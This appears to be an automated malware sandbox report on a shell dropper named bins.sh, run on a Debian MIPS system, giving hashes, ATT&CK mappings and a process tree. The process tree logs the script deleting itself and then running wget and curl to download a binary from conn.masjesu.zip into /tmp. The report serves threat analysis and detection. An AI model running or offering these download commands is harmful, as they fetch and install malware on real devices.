99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339

Analysis

max time kernel
149s
max time network
4s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24-11-2024 03:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

01901ff2d037e722d3824326fb92b79a
SHA1

e06031bbd3407d4b35228a26b1e27b1ef3f600f3
SHA256

99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339
SHA512

83c192b3146c96b129597142ce68bf66cab3aecf299770481e1cb1127bed05d5fad7ce5891567a2f29c5a5aa344d69713673c3d98fd81796beb896ce84ef073a
SSDEEP

192:aBxoP799s9W4oEyoESoExoEcoEgoEpNS7deoEyoESoExoEcoEgoE8BxoP794:P9s9W9ELErEeEBElErS7BELErEeEBElh

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurl

pid process

711 wget
732 curl
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

wget

description ioc process

File opened for modification /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9 wget

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

pid	process
711	wget
732	curl

description	ioc	process
File opened for modification	/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit